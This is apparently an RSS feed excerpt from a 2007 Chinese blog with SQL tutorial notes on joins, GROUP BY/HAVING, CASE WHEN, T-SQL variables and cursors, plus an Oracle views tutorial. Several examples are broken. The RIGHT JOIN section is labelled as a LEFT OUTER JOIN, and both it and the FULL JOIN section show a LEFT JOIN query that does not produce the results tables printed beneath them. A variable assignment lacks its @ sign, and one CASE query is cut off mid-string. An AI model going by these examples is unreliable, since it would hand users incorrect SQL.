												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">1</div>
												</td>
												<td width="66">
														<div align="center">TFI2-4</div>
												</td>
												<td width="80">
														<div align="center">41</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div> </div>
				<div>Table2</div>
				<div>INNER JOIN</div>
				<div>只显示两表一一对应的记录</div>
				<div>SELECT * FROM Table1 INNER JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID</div>
				<div>返回表：</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="41">
														<div align="center">ID</div>
												</td>
												<td width="54">
														<div align="center">TF1</div>
												</td>
												<td width="79">
														<div align="center">VALUE1</div>
												</td>
												<td width="41">
														<div align="center">ID</div>
												</td>
												<td width="54">
														<div align="center">TF2</div>
												</td>
												<td width="79">
														<div align="center">VALUE2</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">1</div>
												</td>
												<td width="54">
														<div align="center">TFI1-1</div>
												</td>
												<td width="79">
														<div align="center">10</div>
												</td>
												<td width="41">
														<div align="center">1</div>
												</td>
												<td width="54">
														<div align="center">TFI2-4</div>
												</td>
												<td width="79">
														<div align="center">41</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">3</div>
												</td>
												<td width="54">
														<div align="center">TFI1-4</div>
												</td>
												<td width="79">
														<div align="center">40</div>
												</td>
												<td width="41">
														<div align="center">3</div>
												</td>
												<td width="54">
														<div align="center">TFI2-3</div>
												</td>
												<td width="79">
														<div align="center">31</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">5</div>
												</td>
												<td width="54">
														<div align="center">TFI1-2</div>
												</td>
												<td width="79">
														<div align="center">20</div>
												</td>
												<td width="41">
														<div align="center">5</div>
												</td>
												<td width="54">
														<div align="center">TFI2-1</div>
												</td>
												<td width="79">
														<div align="center">11</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div> </div>
				<div>LEFT JOIN(LEFT OUTER JOIN)</div>
				<div>显示左表所有记录与右表对应左表的记录，当在右表中无记录，则右表相应字段用NULL填充</div>
				<div>SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID</div>
				<div>返回表：</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="41">
														<div align="center">ID</div>
												</td>
												<td width="54">
														<div align="center">TF1</div>
												</td>
												<td width="79">
														<div align="center">VALUE1</div>
												</td>
												<td width="41">
														<div align="center">ID</div>
												</td>
												<td width="54">
														<div align="center">TF2</div>
												</td>
												<td width="79">
														<div align="center">VALUE2</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">1</div>
												</td>
												<td width="54">
														<div align="center">TFI1-1</div>
												</td>
												<td width="79">
														<div align="center">10</div>
												</td>
												<td width="41">
														<div align="center">1</div>
												</td>
												<td width="54">
														<div align="center">TFI2-4</div>
												</td>
												<td width="79">
														<div align="center">41</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">2</div>
												</td>
												<td width="54">
														<div align="center">TFI1-3</div>
												</td>
												<td width="79">
														<div align="center">30</div>
												</td>
												<td width="41">
														<div align="center">NULL</div>
												</td>
												<td width="54">
														<div align="center">NULL</div>
												</td>
												<td width="79">
														<div align="center">NULL</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">3</div>
												</td>
												<td width="54">
														<div align="center">TFI1-4</div>
												</td>
												<td width="79">
														<div align="center">40</div>
												</td>
												<td width="41">
														<div align="center">3</div>
												</td>
												<td width="54">
														<div align="center">TFI2-3</div>
												</td>
												<td width="79">
														<div align="center">31</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">5</div>
												</td>
												<td width="54">
														<div align="center">TFI1-2</div>
												</td>
												<td width="79">
														<div align="center">20</div>
												</td>
												<td width="41">
														<div align="center">5</div>
												</td>
												<td width="54">
														<div align="center">TFI2-1</div>
												</td>
												<td width="79">
														<div align="center">11</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div>RIGHT JOIN(LEFT OUTER JOIN)</div>
				<div>显示右表所有记录与左表对应右表的记录，当在左表中无记录，则左表相应字段用NULL填充</div>
				<div>SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID</div>
				<div>返回表：</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="41">
														<div align="center">ID</div>
												</td>
												<td width="54">
														<div align="center">TF1</div>
												</td>
												<td width="79">
														<div align="center">VALUE1</div>
												</td>
												<td width="52">
														<div align="center">ID</div>
												</td>
												<td width="54">
														<div align="center">TF2</div>
												</td>
												<td width="79">
														<div align="center">VALUE2</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">NULL</div>
												</td>
												<td width="54">
														<div align="center">NULL</div>
												</td>
												<td width="79">
														<div align="center">NULL</div>
												</td>
												<td valign="top" width="52">
														<div align="center">6</div>
												</td>
												<td width="54">
														<div align="center">TFI2-2</div>
												</td>
												<td width="79">
														<div align="center">21</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">1</div>
												</td>
												<td width="54">
														<div align="center">TFI1-1</div>
												</td>
												<td width="79">
														<div align="center">10</div>
												</td>
												<td width="52">
														<div align="center">1</div>
												</td>
												<td width="54">
														<div align="center">TFI2-4</div>
												</td>
												<td width="79">
														<div align="center">41</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">3</div>
												</td>
												<td width="54">
														<div align="center">TFI1-4</div>
												</td>
												<td width="79">
														<div align="center">40</div>
												</td>
												<td width="52">
														<div align="center">3</div>
												</td>
												<td width="54">
														<div align="center">TFI2-3</div>
												</td>
												<td width="79">
														<div align="center">31</div>
												</td>
										</tr>
										<tr>
												<td width="41">
														<div align="center">5</div>
												</td>
												<td width="54">
														<div align="center">TFI1-2</div>
												</td>
												<td width="79">
														<div align="center">20</div>
												</td>
												<td width="52">
														<div align="center">5</div>
												</td>
												<td width="54">
														<div align="center">TFI2-1</div>
												</td>
												<td width="79">
														<div align="center">11</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div>FULL JOIN(FULL OUTER JOIN)</div>
				<div>显示左右两表所有记录，当左表无记录，则左表相应字段用NULL填充，当右表无记录则右表相关字段用NULL填充</div>
				<div>SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID</div>
				<div>返回表：</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="52">
														<div align="center">ID</div>
												</td>
												<td width="54">
														<div align="center">TF1</div>
												</td>
												<td width="79">
														<div align="center">VALUE1</div>
												</td>
												<td width="52">
														<div align="center">ID</div>
												</td>
												<td width="54">
														<div align="center">TF2</div>
												</td>
												<td width="79">
														<div align="center">VALUE2</div>
												</td>
										</tr>
										<tr>
												<td width="52">
														<div align="center">1</div>
												</td>
												<td width="54">
														<div align="center">TFI1-1</div>
												</td>
												<td width="79">
														<div align="center">10</div>
												</td>
												<td width="52">
														<div align="center">1</div>
												</td>
												<td width="54">
														<div align="center">TFI2-4</div>
												</td>
												<td width="79">
														<div align="center">41</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="52">
														<div align="center">2</div>
												</td>
												<td width="54">
														<div align="center">TFI1-3</div>
												</td>
												<td width="79">
														<div align="center">30</div>
												</td>
												<td width="52">
														<div align="center">NULL</div>
												</td>
												<td width="54">
														<div align="center">NULL</div>
												</td>
												<td width="79">
														<div align="center">NULL</div>
												</td>
										</tr>
										<tr>
												<td width="52">
														<div align="center">3</div>
												</td>
												<td width="54">
														<div align="center">TFI1-4</div>
												</td>
												<td width="79">
														<div align="center">40</div>
												</td>
												<td width="52">
														<div align="center">3</div>
												</td>
												<td width="54">
														<div align="center">TFI2-3</div>
												</td>
												<td width="79">
														<div align="center">31</div>
												</td>
										</tr>
										<tr>
												<td width="52">
														<div align="center">5</div>
												</td>
												<td width="54">
														<div align="center">TFI1-2</div>
												</td>
												<td width="79">
														<div align="center">20</div>
												</td>
												<td width="52">
														<div align="center">5</div>
												</td>
												<td width="54">
														<div align="center">TFI2-1</div>
												</td>
												<td width="79">
														<div align="center">11</div>
												</td>
										</tr>
										<tr>
												<td width="52">
														<div align="center">NULL</div>
												</td>
												<td width="54">
														<div align="center">NULL</div>
												</td>
												<td width="79">
														<div align="center">NULL</div>
												</td>
												<td valign="top" width="52">
														<div align="center">6</div>
												</td>
												<td width="54">
														<div align="center">TFI2-2</div>
												</td>
												<td width="79">
														<div align="center">21</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div>说明：</div>
				<div>       在进行多级关联的时候应该采用就近关联原则</div>
				<div>如：</div>
				<div>       SELECT * FROM Table1 INNER JOIN Table2 INNER JOIN Table2-1 ON Table2.ID=Table2-1.ID ON Table1.ID=Table2.ID</div>
				<div>即Table2与Table2-1关联</div>
				<div>  Table1与Table2关联</div>
				<div>建意：</div>
				<div>       在写此类关联时，最好将基语句格式结构化</div>
				<div>       如：</div>
				<div>       SELECT *</div>
				<div>       FROM </div>
				<div>       Table1 </div>
				<div>       INNER JOIN Table2 </div>
				<div>              INNER JOIN Table2-1</div>
				<div>                ON Table2.ID=Table2-1.ID</div>
				<div>       ON Table1.ID=Table2.ID</div>
				<div>       WHERE </div>
				<div>       ID IN (1,2,3)</div>
				<div>注：</div>
				<div>       在写完查询语句后，可以由“企业管理器”进行SQL语句的格式化，但这一过程出来的语句一定要进行测试，因为在他自动格式化时可能会把某些复杂的关系搞错</div>
				<div> </div>
				<div>分组</div>
				<div>GROUP BY</div>
				<div>（没什么好说！！）</div>
				<div>如：</div>
				<div>       SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B ORDER BY A</div>
				<div>注：</div>
				<div>       在进行GROUP BY 时应该注意GROUP BY 中字段的使用，</div>
				<div>       只要在同一查询语句中则所有未进行骤合操作的字段都需要被GROUP，</div>
				<div>       如上面的SQL中，字段A,与B都未被骤合，并字段A被排序，而字段D被骤合函数SUM进行汇总统计</div>
				<div>       因此字段A,B需要被GROUP 而D则不用</div>
				<div>如：</div>
				<div>      SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B,C ORDER BY C</div>
				<div>在此查询中，虽然字段C没有被选择，但他被ORDER因此字段C也应该在GROUP的字段中</div>
				<div>如：</div>
				<div>       SELECT A,B,SUM(D) FROM Table1 WHERE A IN (SELECT D FROM Table1 T1 WHERE NOT C IS NULL) GROUP BY A,B,C ORDER BY C</div>
				<div>       在此查询中字段A,B为选择字段，字段C为排序字段，但字段D虽然也在同一张表Table1中，但他在子查询中因此不用进行对D的GROUP </div>
				<div> </div>
				<div>       若要对聚合结果进行筛选则应该使用HAVING关键字，而不是WHERE关键字，</div>
				<div>       如：</div>
				<div>       SELECT A,B,SUM(D) FROM Table1 WHERE COUNT(*)&gt;2 GROUP BY A,B   ---这样将会出错，因为COUNT为一个聚合函数，在WHERE子句中不能对聚合函数进行筛选</div>
				<div>       应改为：</div>
				<div>       SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B HAVING COUNT(*)&gt;2</div>
				<div> </div>
				<div>应用GROUP可以进行分类统计</div>
				<div>相关的关键字为CUBE,ROLLUP但不建意使用这两个关键字，</div>
				<div>在一般情况下，如果程序中的GRID有分类汇总功能，那相应的速度会比使用这两个关键字要快，</div>
				<div>与这两个关键字一起使用的聚合函数为GROUPING()，即当进行项目分类汇总时GROUPING()将会返回1，反之则为0，为可以写统计标题时提供参考，</div>
				<div>具体说明请参见《T-SQL》</div>
				<div>具体实例在《SOMIC人力资源管理》中&lt;部门人员汇总表&gt;中有应用</div>
				<div> </div>
				<div>条件</div>
				<div>CASE WHEN</div>
				<div>此组关键字的功能可以代替IF…THEN….ELSE或SELECT CASE</div>
				<div>语法结构：</div>
				<div>CASE  [expression]</div>
				<div>      WHEN &lt;condition&gt; THEN result</div>
				<div>        [ELSE else_result ]</div>
				<div>    END</div>
				<div>在查询中使用此语句时应尽量在END后加别名，</div>
				<div>       如：</div>
				<div>              SELECT [name],xtype,CASE WHEN xtype=’U’ THEN ‘用户表’ ELSE CASE WHEN xtype=’S’ THEN ‘系统</div>
				<div>返回表：</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="92">
														<div align="center">name</div>
												</td>
												<td width="58">
														<div align="center">xtype</div>
												</td>
												<td width="68">
														<div align="center">类型</div>
												</td>
										</tr>
										<tr>
												<td width="92">
														<div align="center">syscolumns</div>
												</td>
												<td width="58">
														<div align="center">S</div>
												</td>
												<td width="68">
														<div align="center">系统表</div>
												</td>
										</tr>
										<tr>
												<td width="92">
														<div align="center">tabledefine</div>
												</td>
												<td width="58">
														<div align="center">U</div>
												</td>
												<td width="68">
														<div align="center">用户表</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div>       详细用例请参考《纺织计件工资》中&lt;人员-部门产量汇总表&gt;</div>
				<div>       用此语句与SELECT用UNION联用能做行列换位</div>
				<div> </div>
				<div> </div>
				<div> </div>
				<div> </div>
				<div>过程性语句应用</div>
				<div> </div>
				<div>变量定义</div>
				<div> </div>
				<div>在SQL中用户变量是以@打头的字串,系统变量用@@打头</div>
				<div>如：</div>
				<div>       @i</div>
				<div>       @tmpStr</div>
				<div>定义方法：</div>
				<div> Declare @i int </div>
				<div> Declare @tmpStr nvarchar(30)</div>
				<div> 在完成变量定义后最好进行初始设置，如</div>
				<div>Set @i=0</div>
				<div>Set tmpStr=’’</div>
				<div>或</div>
				<div>Select @i=0,@tmpStr=’’</div>
				<div> 在SQL中对变量的赋值应用SET或SELECT进行</div>
				<div> </div>
				<div>游标定义</div>
				<div>游标，可以将查询结果返回为游标类型</div>
				<div>定义方法：</div>
				<div>Declare cursor &lt;CurName&gt;</div>
				<div>  For &lt;SQL SCRIPT&gt;</div>
				<div>如:</div>
				<div>declare cursor GetName</div>
				<div>  for SELECT [name] FROM sysobjects</div>
				<div>游标使用方法：</div>
				<div>打开游标：</div>
				<div>Open &lt;CurName&gt;</div>
				<div>如：open GetName</div>
				<div>检索游标：</div>
				<div>Fetch [NEXT | PRIOR | FIRST | LAST] form &lt;CurName&gt; [into &lt;valuename&gt;…]</div>
				<div>如：</div>
				<div>Fetch next from GetName into @tmpName</div>
				<div>当取值成功后，相应记录值会填充在@tmpName变量中，并@@FETCH_STATUS变量置为0，</div>
				<div>若失败则@@FETCH_STATUS变量为-1</div>
				<div>关闭游标</div>
				<div>在使用完游标后关闭他，以便其他进程使用此游标</div>
				<div>CLOSE &lt;curname&gt;</div>
				<div>如：</div>
				<div>       Close GetName</div>
				<div>删除游标</div>
				<div>在使用完游标后，如不再需要应该删除已使用游标，</div>
				<div align="left">DEALLOCATE &lt;curname&gt;</div>
				<div align="left">如：</div>
				<div align="left"> Deallocate GetName</div>
		</div>
<img src ="http://www.blogjava.net/19851985lili/aggbug/102516.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-03-08 08:40 <a href="http://www.blogjava.net/19851985lili/articles/102516.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ORACLE SQL性能优化系列 </title><link>http://www.blogjava.net/19851985lili/articles/102512.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Thu, 08 Mar 2007 00:37:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/102512.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/102512.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/102512.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/102512.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/102512.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: ORACLE SQL性能优化系列 (六) 20.       用表连接替换EXISTS      通常来说 , 采用表连接的方式比EXISTS更有效率      SELECT ENAME      FROM EMP E      WHERE EXISTS (SELECT ‘X’                       FROM DEPT                      WHERE...&nbsp;&nbsp;<a href='http://www.blogjava.net/19851985lili/articles/102512.html'>阅读全文</a><img src ="http://www.blogjava.net/19851985lili/aggbug/102512.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-03-08 08:37 <a href="http://www.blogjava.net/19851985lili/articles/102512.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ORACLE学习笔记 视图</title><link>http://www.blogjava.net/19851985lili/articles/102460.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Wed, 07 Mar 2007 12:08:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/102460.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/102460.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/102460.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/102460.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/102460.html</trackback:ping><description><![CDATA[<div class=tit><a name=baidusnap0></a><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">ORACLE</strong>学习笔记 <a name=baidusnap1></a><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong></div>
<div class=date>2007-01-29 09:34</div>
<table style="TABLE-LAYOUT: fixed">
    <tbody>
        <tr>
            <td>
            <div class=cnt>
            <p><font size=3><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Oracle</strong>的数据库对象分为五种：表，<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>，序列，索引和同义词。</font> </p>
            <p><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>是基于一个表或多个表或<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的逻辑表，本身不包含数据，通过它可以对表里面的数据进行查询和修改。<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>基于的表称为基表。</font> </p>
            <p><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>是存储在数据字典里的一条select语句。&nbsp;通过创建<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>可以提取数据的逻辑上的集合或组合。</font> </p>
            <p><font size=3><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的优点：</font> </p>
            <p><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.对数据库的访问，因为<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>可以有选择性的选取数据库里的一部分。</font> </p>
            <p><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.用户通过简单的查询可以从复杂查询中得到结果。</font> </p>
            <p><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.维护数据的独立性，试图可从多个表检索数据。</font> </p>
            <p><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4.对于相同的数据可产生不同的<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>。</font> </p>
            <p><font size=3><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>分为简单<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>和复杂<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>：</font> </p>
            <p><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;简单<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>只从单表里获取数据<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;复杂<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>从多表<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;简单<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>不包含函数和数据组<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;复杂<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>包含</font> </p>
            <p><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;简单<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>可以实现DML操作<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;复杂<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>不可以.</font> </p>
            <p><font size=3><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的创建：</font> </p>
            <p><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: black"><strong>CREATE&nbsp;[OR&nbsp;REPLACE]&nbsp;[FORCE|NOFORCE]&nbsp;VIEW&nbsp;</strong></span><span style="COLOR: black"><strong><em>view_name&nbsp;</em></strong></span></font> </p>
            <p><strong><font size=3><span style="COLOR: black"><em>&nbsp;&nbsp;</em> </span><span style="COLOR: black">[(</span> <span style="COLOR: black"><em>alias</em> </span><span style="COLOR: black">[,&nbsp;</span> <span style="COLOR: black"><em>alias</em> </span><span style="COLOR: black">]...)]&nbsp;</span> </font></strong></p>
            <div class=O>
            <div><font size=3><span style="COLOR: black"><strong>&nbsp;&nbsp;AS&nbsp;</strong> </span><span style="COLOR: black"><strong><em>subquery</em> </strong></span><span style="COLOR: black"><strong>&nbsp;</strong> </span></font></div>
            <div><font size=3><span style="COLOR: black"><strong>&nbsp;&nbsp;[WITH&nbsp;CHECK&nbsp;OPTION&nbsp;[CONSTRAINT&nbsp;</strong> </span><span style="COLOR: black"><strong><em>constraint</em> </strong></span><span style="COLOR: black"><strong>]]&nbsp;</strong> </span></font></div>
            <div><span style="COLOR: black"><strong><font size=3>&nbsp;&nbsp;[WITH&nbsp;READ&nbsp;ONLY]&nbsp;</font> </strong></span></div>
            <div style="TEXT-ALIGN: justify"><nobr>
            <div>
            <div class=O1><span style="FONT-SIZE: 11pt"><strong><font size=3></font></strong></span></div>
            <div class=O style="TEXT-ALIGN: justify"></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>OR&nbsp;REPLACE&nbsp;&nbsp;&nbsp;&nbsp;：若所创建的试图已经存在，<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">ORACLE</strong>自动重建该<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>FORCE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;：不管基表是否存在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">ORACLE</strong>都会自动创建该<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>NOFORCE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;：只有基表都存在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">ORACLE</strong>才会创建该<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>alias&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;：为<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>产生的列定义的别名；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>subquery&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;：一条完整的SELECT语句，可以在该语句中定义别名；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>WITH&nbsp;CHECK&nbsp;&nbsp;OPTION&nbsp;：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;插入或修改的数据行必须满足<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>定义的约束；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>WITH&nbsp;READ&nbsp;ONLY&nbsp;：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;该<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>上不能进行任何DML操作。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>例如：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CREATE&nbsp;&nbsp;OR&nbsp;&nbsp;REPLACE&nbsp;&nbsp;VIEW&nbsp;&nbsp;dept_sum_vw</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(name,minsal,maxsal,avgsal)</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AS&nbsp;&nbsp;SELECT&nbsp;d.dname,min(e.sal),max(e.sal),avg(e.sal)</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;&nbsp;&nbsp;&nbsp;emp&nbsp;e,dept&nbsp;d</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE&nbsp;&nbsp;e.deptno=d.deptno</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GROUP&nbsp;&nbsp;BY&nbsp;&nbsp;d.dname;</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的定义原则：</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的查询可以使用复杂的SELECT语法，包括连接/分组查询和子查询；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.在没有WITH&nbsp;CHECK&nbsp;OPTION和&nbsp;READ&nbsp;ONLY&nbsp;的情况下，查询中不能使用</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ORDER&nbsp;BY&nbsp;子句；</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.如果没有为CHECK&nbsp;OPTION约束命名，系统会自动为之命名，形式为SYS_Cn;</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4.OR&nbsp;REPLACE选项可以不删除原<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>便可更改其定义并重建，或重新授予对象</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;权限。</font> </nobr></div>
            <div class=O style="TEXT-ALIGN: justify"><nobr></nobr><font size=3>&nbsp;</font> </div>
            <div class=O style="TEXT-ALIGN: justify"><nobr><font size=3><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图</strong>的查询：</font> </nobr></div>
